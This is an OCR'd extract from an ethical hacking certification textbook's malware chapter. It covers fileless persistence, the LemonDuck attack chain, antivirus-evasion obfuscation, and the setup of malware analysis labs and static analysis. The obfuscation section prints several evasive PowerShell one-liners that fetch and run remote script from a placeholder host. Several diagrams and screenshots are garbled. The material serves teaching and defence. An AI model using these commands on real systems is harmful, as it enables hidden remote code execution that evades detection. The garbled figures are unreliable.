■ Once the malicious payload is injected, it steals critical information, performs data
exfiltration, and sends all the data to the attacker

Module 07 Page 1076 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

Maintaining Persistence with Fileless Techniques

When compared to ot her malware types, fileless malw are does not use disk files to spread its infect ion or
maintai n persist ence
Attackers adopt unique methods such as developing load points to restart infected payloads to maintain
persistence
Attackers save the malicious payload inside the registry that holds data for configurations, application files, and
settings, w hich execut es itself w ith every system restart

Local Area
Network (LAN)
Injects malicio us
code exploiting server Scan for v ulnerable [i]········ ·T · · ········[ i]··············1· ···· ··· lil
---• A
• t•t ••cke ...•··· ....?.'.'.~.~;.'.'.'!.~~~'.'.~~...
.iiriiiiiiii ······► ~ ·~Y.~~~!'.'~.~~.i~~~~.•.~~.'!'...►

Local Computer

D Pow erSheU executed by the


vulne rable application
□ Install Malicious WMI script
~ ·· ···· · · ······ ····f i
•' Copynght O by lC~HICII All Rights Reserved Reproduction is Stnctly Prohibited

Maintaining Persistence with Fileless Techniques


Once any malware enters a system, server, or network, it remains intact for a long time. Unlike
other malware types, fileless malware does not use disk files to spread its infection or maintain
persistence. Therefore, attackers adopt unique methods such as developing load points to
restart infected payloads to maintain the persistence of fileless malware. Attackers save the
malicious payload inside the registry that holds data for configurations, application files, and
settings. After loading the malicious code into the system registry keys, this code executes itself
with every system restart or when a certain shortcut file is accidentally clicked. Attackers can
also exploit the Windows task scheduler to activate scripts and run them at a specific time. The
scheduled task activates the malware inside the registry at regular intervals of time to spread
infections in the system.
Attackers can also ma intain persistence by exploiting WMI, which is designed to handle various
systems and devices in a network. Attackers store the malicious scripts inside the WMI
repository, and they can later run them using WMI utilities. Then, the stored scripts can further
exploit the vulnerable systems in a network and spread the infection.

Local Area
Netw ork (LAN)

Injects malicious
code exploiting serve r
or registry entries
Scan for vulnerable

.. !Y~.t~-~~!?.i~.t-~~ !~~~ ..►


lil··········: ······ ····lil····· ········:········Iil
··································· >
Attacker .....
.....
Local Computer

0 Pow erShell executed by the


vulnerable application
0 Install Malicious WMI script
11 ~
Figure 7.66: M aintaining persistence wit h fi leless techniques

Module 07 Page 1077 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Fileless Malware
LemonDuck is Pyth on -based fileless malware that spreads its infections over Microsoft exchange servers
and enterprise-level Linux machines
LemonDuck I It removes ot her malwarefrom the target syst em and uses cryptojacking abilities to hide itself and stay
in tact even after security patches are applied

rfi:] Multiple

<F'?. St.1rtof human-operatedattack


'=Q
,
"""'K Fileless Malware
-Pl Start ofhurNOn- ~ r1tedatta.d r. (d fromDucklnfrast ructure,if any :
{d from C,it infr.-tructur•

8 Divergent
~ Antl-matwu e IS\ Shadow copy fi!M rii:\ Spreading to other e DarkWatchman
~ productsdiubled ~ :e~s:s!.~ 'e_9J devic.s

8 BazarBackdoor

8 Ast aroth Backdoor

8 Node rsok

8 Vaporworm
:'@
I]' RitmoteKcess
tro;,msinstalled
:
I
[ ~~~ ~~ ~i Activity HSOCiated with Duck c.impaigns
L --- forr••.nt,y ___ I
c::J AdivityfflOCiat edwithCat~mpaHjlns
C=:J Activitycommon tobothDuck1nd C.t c1rnplligns

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Fileless Malware
• LemonDuck

Source: https://www.cybereason.com
LemonDuck is Python-based fileless malware that spreads infections over Microsoft
exchange servers and enterprise-level Linux machines worldwide. The infection begins
with the exploitation of underlying 5MB vulnerabilities, through phishing campa igns, or
the brute forcing of an account. It removes other malware from the target system and
uses cryptojacking abilities to hide itself and stay intact even after security patches are
applied.
The malware can be spread in two variants, LemonDuck and LemonCat, for different
purposes. LemonDuck is capabl e of running phishing campa igns aimed at compromising
the edge devices for initial infection. It may contain a random display name and has
"Lemon_Duck" attached within the script. In contrast, LemonCat uses a domain
containing "cat " and installs a backdoor fo r the continuous delivery of malware and
spread of infection. Both LemonDuck and LemonCat infect the t arget machine to
subvert security controls, steal cryptocurrency accounts, maintain persistence, and
make lateral movements.

Module 07 Page 1078 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

A User
r--c.
)-( Start of human-operated attack
dB 1
Multiple
devices

__
OELIVERY
r7
...,__,_
User's
L..:,::-J device
Co)
Start of human-operated attack
from Cat infrastructure

EXECUTION & PERSISTENCE EVASION


Co)

IMPACT
from Duck infrastructure, if any

;@
!
i
~
Malicious email
with .doc, .js
and/or .zip file
'
'
'
® LemonDuck
downloaded
® Anti-malware
products disabled
®
Shadow copy files
deleted; system
recovery disabled
@ Spreading to other
devices

'
'
: ~
i ~ drives
USB, network

'
'
'
'
® Check-ins
established
@ Competitive
malware removed @) Credentials and
email collected
and exfiltrated
@ Phishing
propagation

1L.-- -. - -. - - - - - - - - - -~'
·- ·-- - . - . - . - --
- -- -- ·- ·- ·- ·- - · -
: ~ Varie~y of edge
~ exploits
I
I
I
~ Scheduled task
and WM I event
~ Hosts file modified
with obfuscated C2
!
~
@
r· - · - · -

Remote access
'
'
trojans installed
'
1
I
I : __ -·-·_:~~ ~~--e~~'!__ -·-· - '
I
I
: (iii'\ Brute- forceof RDP
I ~ and edge apps
( _ _ _ _ _ _ _ _ _ _ _ _ JI
I
I ~ Crypto miner and
Mimikatzinstalled
@ Machine patched
1 @ Ramnit and other
IL _ I_ __________
malware installed :
I
I

~- - - - - - - - - - - -1
I@
: LIi
Remote access
trojans installed
I
I t ___ __ _1 Activity associated with Duck campaigns
L ___ for re-entry ___ I
==
L J Activity associated with Cat campaigns
c==J Activity common to both Duck and Cat campaigns

Figure 7.67: LemonDuck attack chain

□ X

~ C A virusto1at.com/9UVf le/Sbb9':71 f4ccS8a7f3d1f22966cdf089S7S.t4c.cS73039a194220c7aS 1 ~1f2d/detK11on


* e
:LJ 5bb9c:71f4cc58a7f3d1'22966cdf089575a4cac573039a 194220c:7a5te4e 112d a. 0. "' -
..:::

• .

-
5bb9c:7114.cd8a'Tt'Jd1l'22966Cdl08957~73039t194220c7•51t44:11
2d 42nKB 2020-04-20 08 52 04 UTC

-....
DETECTION
5COlc71f'<:e51a70d1'22166odiOM1575Mcae57J0:39a11M220c1aSl.,._1f2d .ic

~2017-0199

DETAILS
cw-2017-M?'O

RELATIONS
· ·-

BEHAVIOR
~ .....,.

COMMUNITY 0
~
42

nt
$ ego RTF

Ad-Awere © TtOi,111 £., pto,t. l~/i!td.Genew<O Ahnlab-V3 0 Ol.£JC'tl 2017-65.!0

Al.Yoe (l) E--C\IE-2017-8570 ■ (D TtOJ9fl E:,,~~eWcrd o.n.nc:s


"'""""

-
A,.., (l) °"'"''·•--IT I AVG (D ()fW]f\\0111,e,e.,_,.n (TrjJ

A.vt1a lno doud) (l) EXP,CVE 2017-8570 Gen (D W.n32£•plodHTIII..~•

& tO.ftnde, (l) T,ajon bp1"1 MSOffic:al"'d Gonoocl<O CAT~ 0 E•pRTFCVE2011-8570A

o.r.AV © Mil t.!J\,..,e Squ bf)doo-6728833-0 Comodo © Ma .......~iOMoytt

Cy,en

E-
(l)

(D
CVE-2017 0199C-•C-

Tr~ l:•ptolf.tSQOee\•.:!rd.GenerieKO
---
eScan
{l)bpbt$iggoo03e04

0 T- E-.MSO<Oeewo,d Geno,lcKO

F-Socu,■ (l) e...,o:ExP,C\IE 2017-85700.,, FkeEye 0 T-O..-OOE<lon4

Foronet 0 HTJ.l _ f!.il~PU1'tr GOeto 0 T,aj■o £,.... USOlt<•'M>d G■N<kl<O-

1<a-.1ty 0 HrUR Tr~~'.ISE1o.lDde MAX 0 •.,..... (.. Sc:o-9471

Figure 7.68: Screenshot showing t he detection of LemonDuck

M odule 07 Page 1079 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

The following are some additional fileless malware:

• Divergent • njRat Backdoor

• DarkWatchman • Sodinokibi Ransomware

• BazarBackdoor • Kovter and Poweliks

• Astaroth Backdoor • Dridex

• Nodersok • Hancitor/Chanitor

• Vaporworm • Sorebrect Ransomware

Module 07 Page 1080 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Fileless Malware Obfuscation Techniques to Bypass


Antivirus
Inserting Characters
Attackers insert special characters such as comma(,) and semicolon(;) between malicious commands and strings to make well-known
commands more comp lex to detect
, ;cmd.exe,/c,; ,echo ; powers hell.exe -NoExit -exec bypass -nop Invoke-Expression(New-Object
System.Net. WebClient) .Downl oadString( 1 https: //targetwebsite. com" ) &&echo, exit

Inserting Parentheses
When parentheses are used, variab les in a code block are evaluated as a single line command. Attackers explo it t his feature to split
and obfuscate malicious commands
cmd. e x e / c ( ( echo comm.andl)
&&(
echo command2 ) )

Inserting Caret Symbol


The caret symbol (A) is a reserved character used in shell commands for escapi ng. Attackers exp loit this feature to escape malicious
commands during execution time
C:\WINDOWS\system32\cmd.exe /c pAAoAAwAAeAArAAsAAhAAeAAlAAlAA.AAeAAxAAe -NoAAExit -exec bypass -nop Invoke-
Expression (New- Object Sys tern. Net. WebClien t} . DownloadStrin g ( ( 'h ttps : / / targe twebs i te. com") &&echo , exit

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Fileless Malware Obfuscation Techniques to Bypass


Antivirus (Cont'd)
Inserting Double Quotes
The command line parser uses the double quote symbol as an argument delimiter. Attackers use this symbol to concatenate malicious
commands in arguments
Pow""er""Shell - N" "oExit - ExecutionPo1icy bypass - nopr ofi1e - windowsty1e hidden cmd /c Flower. j pg

Using Custom Environment Variables


In the Windows operating system, environmentvariablesare dynamic objects that store modifiable values used by applicatio ns at
runtime. Attackers exp loit environment variables to split malicious commands into multiple strings
set a =Powe r &&set b=She 11 && %a:~0, - 1 %%b% - ExecutionPo1icy bypass - noprofi1e - windowstyle hidden cmd /c
Products . pelf

Using Pre-assigned Environment Variables


"%Coil'lnonProgramFi l es %" contains a defa ult va lue "c: \Program Files\Common Files". Specific characters from this value can be
accessed through indexing and used to execute malicious commands
cmd . exe /c " %CommonProgramFiles: ~3 , 1 %owerShell. exe" - windowstyle h idden - command wscript myscript. vbc

Copynght () by lC~llllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Fileless Malware Obfuscation Techniques to Bypass Antivirus


Nowadays, attackers are leveraging fileless malware to perform cyber-attacks on t arget
organization, as such malware hides itself from traditional antivirus solutions. Furthermore,
fileless malware does not store anything on the disk; hence, it is extremely difficult to detect
such attacks. In addition, attackers adopt various obfuscation techniques to keep their
malicious activities hidden and undetected for as long as possible.

Module 07 Page 1081 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

The various obfuscation techniques used by fileless malware to bypass antivirus solutions are
discussed below:
■ Inserting Characters

Attackers insert special characters such as commas (,) and semicolons (;) between
malicious commands and strings to make well-known commands more difficult to
detect. These special characters are considered as whitespace characters in command-
line arguments; hence, they are processed easily. Using this technique, attackers break
malicious strings to evade parsing of malicious commands by signature-based solutions.
,;cmd.exe,/c,;,echo;powershell . exe -NoExit -exec bypass -nop
Invoke-Expression(New-Object
System.Net. WebClient) .DownloadString ( 'https: //targetwebsite. com")
&&echo,exit

■ Inserting Parentheses

In general scenarios, parentheses are used to improve the readability of the code, group
complex expressions, and split commands. When parentheses are used, variables of a
code block are considered and evaluated just as a single-line command . Attackers
exploit this feature to split and obfuscate malicious commands.
cmd.exe /c ((echo comrnandl)
&&(
echo command2))
■ Inserting Caret Symbol

The caret symbol (") is generally a reserved character used in shell commands for
escaping. Attackers exploit this feature to escape malicious commands at execution
time. For this purpose, they insert single or double caret symbols inside a malicious
command.
C:\WINDOWS\system32\cmd.exe /c
pAAoAAwAAeAArAAsAAhAAeAAlAAlAA . AAeAAxAAe -NoAAExit -exec bypass _
nop Invoke-Expression (New-Object System.Net.WebClient).
DownloadString(('https://targetwebsite.com" )&&echo,exit

When the above command is executed, the first caret symbol is escaped :
C : \WINDOWS\system32\cmd.exe /c pAoAwAeArAsAhAeAlAlA . AeAxAe
NoAExit -exec bypass - nop Invoke-Expression (New-Object
System.Net.WebClient).
DownloadString(('https://targetwebsite . com")&&echo,exit

After the second caret symbol is also escaped, powershell.exe is executed with a
command-line argument:
C: \WINDOWS\system32\cmd. exe /c powershell. exe - NoExi t - exec
bypass -nop Invoke-Expression (New-Object System.Net.WebClient).
DownloadString(('https://targetwebsite . com")&&echo , exit

Module 07 Page 1082 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Inserting Double Quotes

When a command is embedded with double quotes, it does not affect the normal
execution of the command. Furthermore, the command-line parser uses a double quote
symbol as an argument delimiter. Attackers use double quote symbols to concatenate
malicious commands in arguments.
Pow""er""Shell -N""oExit -ExecutionPolicy bypass -noprofile
-windowstyle hidden cmd /c Flower.jpg
■ Using Custom Environment Variables

Another method adopted by attackers to obfuscate fileless malware is using


environment variables. In Windows operating systems, environment variables are
dynamic objects that store modifiable values used by applications at run time. Attackers
exploit environment variables to split malicious commands into multiple strings.
Furthermore, they set the value for the environment variable at run time to execute
malicious commands.
set a=Power &&set b=Shell && %a:~0,-1%%b % -ExecutionPolicy
bypass -noprofile -windowstyle hidden cmd /c Products.pd£
■ Using Pre-assigned Environment Variables

Another technique exploited by attackers is retrieving specific characters from pre-


assigned environment variables such as "%CommonProgramFiles%." The characters
in such variables are referred through the index and exploited by attackers to execute
malicious commands. "%CommonProgramFiles%" contains a default value
"c: \Program Files\Common Files." Specific characters from this value can be
accessed through indexing and used to execute malicious commands as follows:
cmd.exe /c "%CommonProgramFiles:~3,1%owerShell.exe"
windowstyle hidden -command wscript myscript.vbc
The above command retrieves a single character ' P' at index 3, which is concatenated
with "owerShell.exe" , and executes the malicious command.

Module 07 Page 1083 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

10#06: Demonstrate Malware Analysis Process

Copyright Cl by (C-Cluldl All Rights Re~rved Reproduction 1s Stnctly Prohibited

Malware Analysis
Malware such as viruses, Trojans, worms, spyware, and rootkits allow an attacker to breach
security defenses and subsequently launch attacks on target systems. Thus, to find and fix
existing infections and thwart future attacks, it is necessary to perform malware analysis. Many
tools and techniques are available to perform such tasks.
This section explains the malware analysis procedure and discusses the various tools used to
accomplish it.

Module 07 Page 1084 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

What is Sheep Dip Computer?

Sheep dipping refers to the analysis of suspect files, incoming messages, etc. for malw are

A sheep dip computer is installed with port monitors, file monitors, network monit ors, and antivirus softw are
and connects to a netw ork only under strictly controlled conditions

Sheep Dipping Process Tasks

0 Run user, group permission, and process monitors

Q Run port and network monitors

Q Run device driver and file monitors

I8 Run registry and kernel monitors

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

What is Sheep Dip Computer?


Sheep dipping is a process used in sheep farming, whereby sheep are dipped in chemical
solutions to make them parasite-free. In information security and malware analysis, sheep
dipping refers to the analysis of suspicious files, incoming messages, etc., for malware.
The users isolate the sheep-d ipped computer from other computers on the network to block
any malware from entering the system. Before performing this process, it is important to save
all downloaded programs on external media such as CD-ROMs or DVDs.
A computer used for sheep dipping should have tools such as port monitors, files monitors,
network monitors, and one or more antivirus programs for performing malware analysis of
fil es, applications, incoming messages, external hardware devices (such as USB and pen drive),
and so on .
Some tasks that are typically run during the sheep dipping process are as follows:
• Run user, group permission, and process monitors
■ Run port and network monitors
■ Run device driver and file monitors
• Run registry and kern el monitors

Module 07 Page 1085 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Antivirus Sensor Systems

An antivirus sensor system is a collection of computer software t hat detects and analyzes malicious code
threats such as viruses, worm s, and Trojans

They are used alo ng with sheep dip computers

Network Antivirus System

v
a '
•• ••► ReflectedTraffic

····················

-
Antivirus Anti -Spyware
System 1 System 2 <i···················· <; , ...................
.....~
v:...... Allowed Traffic

rrf Allowed Traffic

...
'.:l 1,:.· <i···················· <i····················
..·················
[iJ
Anti-Trojan Anti-Spamware
"•-:> ReflectedTraffic Internet

System 3

Anti-Phishi ng Email-Scanner

•' Copynght O by lC~HICII All Rights Reserved Reproduction is Stnctly Prohibited

Antivirus Sensor Systems


An antivirus sensor system is a collection of computer software that detects and analyzes
malicious code threats such as viruses, worms, and Trojans. It is used along with sheep dip
computers.

Network Antivirus System

..................... Antivirus
~'
Anti-Spyware
.·· •► Reflected Traffic
• •• • ■• • • • • • • • ••• ■ •• • •

~
<:·····················
Allowed Traffic

~·····················
r,f
•0-0•
Allowed Traffic

<:·····················
Anti-Trojan Anti-Spamware ···············
···-:> ReflectedTraffic Internet

System 3

Anti-Phishing Email-Scanner

Figure 7.69: Screenshot displaying the working of Antivirus Sensor System

Module 07 Page 1086 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Introduction to Malware Analysis

Malware analysis is a process of reverse engineering Types of Malware Analysis


a specific piece of malware to determine the origin,
functionality, and potential impact of a given type of static Malware Analysis
malware
8 Also known as code analysis. It involves
going through the executable binary code
without executing it to have a better
Why Malware Analysis? understanding of the malwareand its
purpose
8 To exactly determine w hat happened
Dynamic Malware Analysis
8 To determine the malicious intent of malware software
8 Also known as behavioral analysis. It
8 To identify indicators of compromise involves executing the malware code to
know how it interacts with the host system
8 To determine the complexity level of an intruder
and its impact on the system after infection
8 To identify the exploited vu lnerability It is recommended that both static and
dynamic analyses be performed to obtain a
8 To identify the extent of damage ca used by t he intrusion
detailed understandingof the functionality of
8 To catch the perpetrator accountable for installing the malware the malware

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Introduction to Malware Analysis


Attackers use sophisticated malware techniques as cyber-weapons to steal sensitive data. The
malware can inflict intellectual and financial losses on the target, regardless of whether it is an
individual, a group of people, or an organization . Moreover, it spreads from one system to
another with ease and stealth.
Malware analysis is a process of reverse engineering a specific piece of malware to determine
its origin, functionality, and potential impact. By performing malware analysis, one can extract
detailed information about the malware. Malware analysis is an integral part of any penetration
testing process.
Why Malware Analysis?

The primary objectives of analyzing a malicious program are as follows :


■ Determine what exactly happened
■ Determine the malicious intent of the malware
■ Identify indicators of compromise
■ Determine the complexity level of an intruder
■ Identify the exploited vulnerability
■ Identify the extent of damage caused by the intrusion
■ Catch the perpetrator responsible for installing the malware
■ Find signatures for host and network-based intrusion detection systems
■ Evaluate the harm from an intrusion

Module 07 Page 1087 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ List the indicators of compromise for different machines and different malware
programs
■ Find the system vulnerability that the malware has exploited
■ Distinguish the gatecrasher or insider responsible for the malware entry
The most common business questions answered by malware analysis are as follows:
■ What is the intention of the malware?
■ How did it get through?
■ What is its impact on the business?
■ Who are the perpetrators, and how good are they?
■ How to abolish the malware?
■ What are the losses?
■ How long has the system been infected?
■ What is the medium of the malware?
■ What are the preventive measures?
Guidelines for Malware Analysis

The following guidelines are to be adopted while performing malware analysis :


■ During malware analysis, pay attention to the essential features instead of
understanding every detail
■ Try different tools and approaches to analyze the malware, as a single approach may
not be useful
■ Identify, understand, and defeat new malware analysis prevention techniques
Types of Malware Analysis

The two types of malware analysis based on the approach methodology: static analysis and
dynamic analysis.
■ Static Malware Analysis

It is also known as code analysis, and it involves going through the executable binary
code without actually executing it to gain a better understanding of the malware and its
purpose.
The general static scrutiny involves analysis of the malware without executing the code
or instructions. The process involves the use of different tools and techniques to
determine the malicious part of a program or file. It also gathers information about
malware functionality and collects the technical pointers or simple signatures that the
malware generates. Such pointers include filename, MOS checksums or hashes, file
type, and file size.

Module 07 Page 1088 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Dynamic Malware Analysis

It is also known as behavioral analysis, and it involves executing the malware code to
know how it interacts with the host system as well as its impact on the host system after
it infects the system.
Dynamic analysis involves the execution of malware to examine its conduct and
operations, and it identifies technical signatures that confirm the malicious intent. It
reveals information such as domain names, file path locations, created registry keys, IP
addresses, additional files, installation files, DLL, and linked files located on the system
or network.
Both techniques aim to understand how the malware works, but they differ in terms of the
tools used as well as the time and skills required for performing the analysis. It is recommended
that both static and dynamic analyses be performed to gain a deeper understanding of the
functionality of malware.

Module 07 Page 1089 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Malware Analysis Procedure: Preparing Testbed


Step l
l Allocate a physical system for the analysis lab

Step 2
I Install a Virtual machine (VMware, Hyper-V, etc.) on the system

Step 3 I Instal l guest OS o n in the Virtual machine(s)

Step 4 l Isolate the system from the network by ensuring that t he NIC card is in "host only" mode

l Step 5 I Simulate internet services using tools such as INetSim

Il Step 6 I Disable the "shared folders" and "guest isolation"

[ Step 7
l Instal l malware analysis tools

l Step 8
J Generate the hash value of each OS and tool

11 Step 9 I Copy the malware over to the guest OS

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Malware Analysis Procedure


Malware analysis provides an in-depth understanding of each sample and identifies emerging
technology trends from a vast collection of malware samples without actually executing them.
The malware samples are mostly compatible with the Windows binary executable. There are
various objectives for performing malware analysis.
It is extremely dangerous to analyze malware on production devices connected to production
networks. Therefore, one should always analyze malware samples in a testing environment on
an isolated network.
Malware analysis involves the following steps:
1. Preparing Testbed

2. Static Analysis
3. Dynamic Analysis
Preparing Testbed
Requirements to build a testbed :
• An isolated test network to host your testbed and isolated network services such as DNS
• Target machines installed with a variety of OS and configuration states (non-patched,
patched, etc.)
■ Virtualization snapshots and re-imaging tools to wipe and rebuild the target machine
quickly

Module 07 Page 1090 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Some tools are required for testing. The important ones are listed below:
o Imaging tool: To get a clean image for forensics and prosecution purposes.
o File/data analysis: To perform static analysis of potential malware files.
o Registry/configuration tools: Malware infects the Windows registry and other
configuration variables. These tools help to identify the last saved settings.
o Sandbox: To perform dynamic analysis manually.
o Log analyzers: The devices under attack record the activities of the malware and
generate log files. These tools are used to extract the log files.
o Network capture: To understand how the malware leverages the network.

Steps to prepare the testbed:


■ Step 1: Allocate a physical system for the analysis lab
■ Step 2: Install a virtual machine (VMware, Hyper-V, etc.) on the system
■ Step 3: Install guest OS on the virtual machine(s)

■ Step 4: Isolate the system from the network by ensuring that the NIC card is in the "host
only" mode
■ Step 5: Simulate Internet services using tools such as INetSim (https://www.inetsim.org)
■ Step 6: Disable "shared folders" and "guest isolation"

■ Step 7: Install malware analysis tools


■ Step 8 : Generate the hash value of each OS and tool
■ Step 9: Copy the malware to the guest OS
Supporting Tools for Malware Analysis:

Some supporting tools required to perform malware analysis are as follows:


Virtual Machines Tools:
■ Hyper-V (https://docs.microsoft.com)
■ Parallels Desktop 14 (https://www.parallels.com)
■ Boot Camp (https://www.apple.com)
■ VMware Workstation Pro (https://www.vmware.com)
Screen Capture and Recording Tools:

■ Snagit (https://www.techsmith.com)
■ Jing (https://www.techsmith.com)
■ Camtasia (https://www.techsmith.com)
■ Ezvid (https://www.ezvid.com)

Module 07 Page 1091 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Network and Internet Simulation Tools:

• NetSim Pro (https://tetcos.com)


• ns-3 (https://www.nsnam.org)

■ Riverbed Modeler (http://www.riverbed.com)

■ Qua INet (http://web.scalable-networks.com)

OS Backup and Imaging Tools:

• Genie Backup Manager Pro (https://www.zoolz.com)

• Macrium Reflect Server (https://www.macrium.com)

■ R-Drive Image (https:j/www.drive-image.com)

■ O&O Disklmage 17 (https://www.oo-software.com)

Module 07 Page 1092 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis

In static analysis, we do not run t he maI ware code, so there is no need to create a safe environment
It empl oys different tools and techniques to quickly determine if a file is malicious
Analyzing the binary code provides information about the ma lwarefunction ality, its network signatures, exploit
packaging technique, dependencies involved, etc.

Some of the static rnalware analysis techniques:

ID File fingerprinting Identifying file dependencies j


Local and online malware scanning Malware disassembly

Performing string search Analyzing ELF Executable Files ]


Identifying packing/obfuscation methods Analyzing Mach-O Executable Files

Finding the portable executables (PE)


Analyzing Malicious MS Office Documents
information
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Static Malware Analysis


Static analysis is the process of investigating an executable file without running or installing it.
Thus, it is safe to conduct static analysis because the investigator does not install or execute the
suspicious file. However, some malware does not need installation for performing malicious
activities. Therefore, investigators should perform static analysis in a controlled environment.
Static analysis involves accessing the source code or binary code to find the data structures,
function calls, call graphs, etc., that can represent malicious behavior. Investigators can use
various tools to analyze binary code to understand the file architecture and impact on the
system. Compiling the source code of a system into a binary executable resu lts in data loss,
which makes the analysis of the code more difficult. Analyzing the binary code provides
information about th e malware functionality, its network signatures, exploit packaging
technique, dependencies involved, etc.
The procedure of examining a given binary without executing it is mostly manual. It requires
the extraction of vital data, such as data structures, utilized function s, and call graphs, from the
malicious file. This data cannot be viewed by investigator after program compilation.
Some st atic malware analysis t echniqu es are listed below:
• File fingerprinting
■ Local and online malware scanning
■ Performing strings search
• Identifying packing/obfuscation methods
• Finding the portable executables (PE) information

Module 07 Page 1093 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Identifying file dependencies


■ Malware disassembly
■ Analyzing ELF Executable Files

■ Analyzing Mach-0 executable files

■ Analyzing Malicious MS Office Documents

Module 07 Page 1094 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: File Fingerprinting


File fingerprinting is the process of computing the hash value for a given binary code

You can use the comput ed hash value t o uniquely identify the malw ar e or periodically verify if any changes are
made to the binary code during analysi s

Use tools like HashMyFiles to calculate variou s hash values of the malw are file

File Fingerprinting Tools


HashMyFiles I HashMyFiles produces t he hash value of a file using MD5,
SHA1, CRC32, SHA-256, SHA-51 2 and SHA-384 algorithms
e Mimikat z(https;//github.com )

e Hash Ca le(https;//www.slavasoft.com)
!!) ~ihMyfile:s - 0 X
Fil,, [ dit Vi- Optiom Hep
I G □ !iJ O I Q @l i!o.li' o.l ~ e hashdeep (https;//sourceforge. net)
MO! 5HA1 CRC32 SHA-2S6 SHA-512 IHA-3" FulP.th
0 ctf_lOO_pe:rcent.... bZ8dfOd3be1f093f8io... dlf004cf1714b_ 24d,ufd bb46bfbbde<7f... 14207lfc166c4d0... c00lbb3H41l74bc07S74_ C:\ProgJ•m File:s\A
~ AdobeXMP.<11 b.17bed8defu7196d... bd2d~« 633020... 2Sc68c65 fb07e06.z8em,_ b206c0609d«c1.•. 7Se329e2.dl68440f08151- C,\Progr1mfile:s\A e MD5sums (http://www.pc-tools.net)
~ w1b32,dll 82f22cd78042c4bd35... Odde6t95136..., 81204e48 Ob&t1u359479,., ccll78d8b27.SOC,- 0bbclf70bf01f2065740S,- C:\Progr1m FilfflC
~ mwdcor.dll 598bf:731~ bf966&al... 4&4fbSl02K 4... 5bffd8f7 7a77ftt8d6ll5L 4c6dlkcdc2907f... 1d906kbfc868ac18c.86L C:\ Prog11m Filn\ C
D mwdo21.tlb b-'9673fXA142f406... c1~7'9Mbacl... 7f638SS6 468337~bl91... !B8S.2~... beOS467dc7cAcf05tos.7... C:\Prog11m Files\(
e tools4noobs- Online hash calculator
(https://www.tools4noobs.com)
https://www.nfrsoft.net

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

File Fingerprinting
File fingerprinting is a process of computing the hash value for a given binary code to identify
and track data across a network. This process includes the calculation of cryptographic hashes
of the binary code to recognize its function and compare it with other binary code and
programs from previous scenarios. The computed hash value can be used to uniquely identify
the malware or periodically verify if any changes are made to the binary code during analysis.
These fingerprints are used to track and identify similar programs from a database.
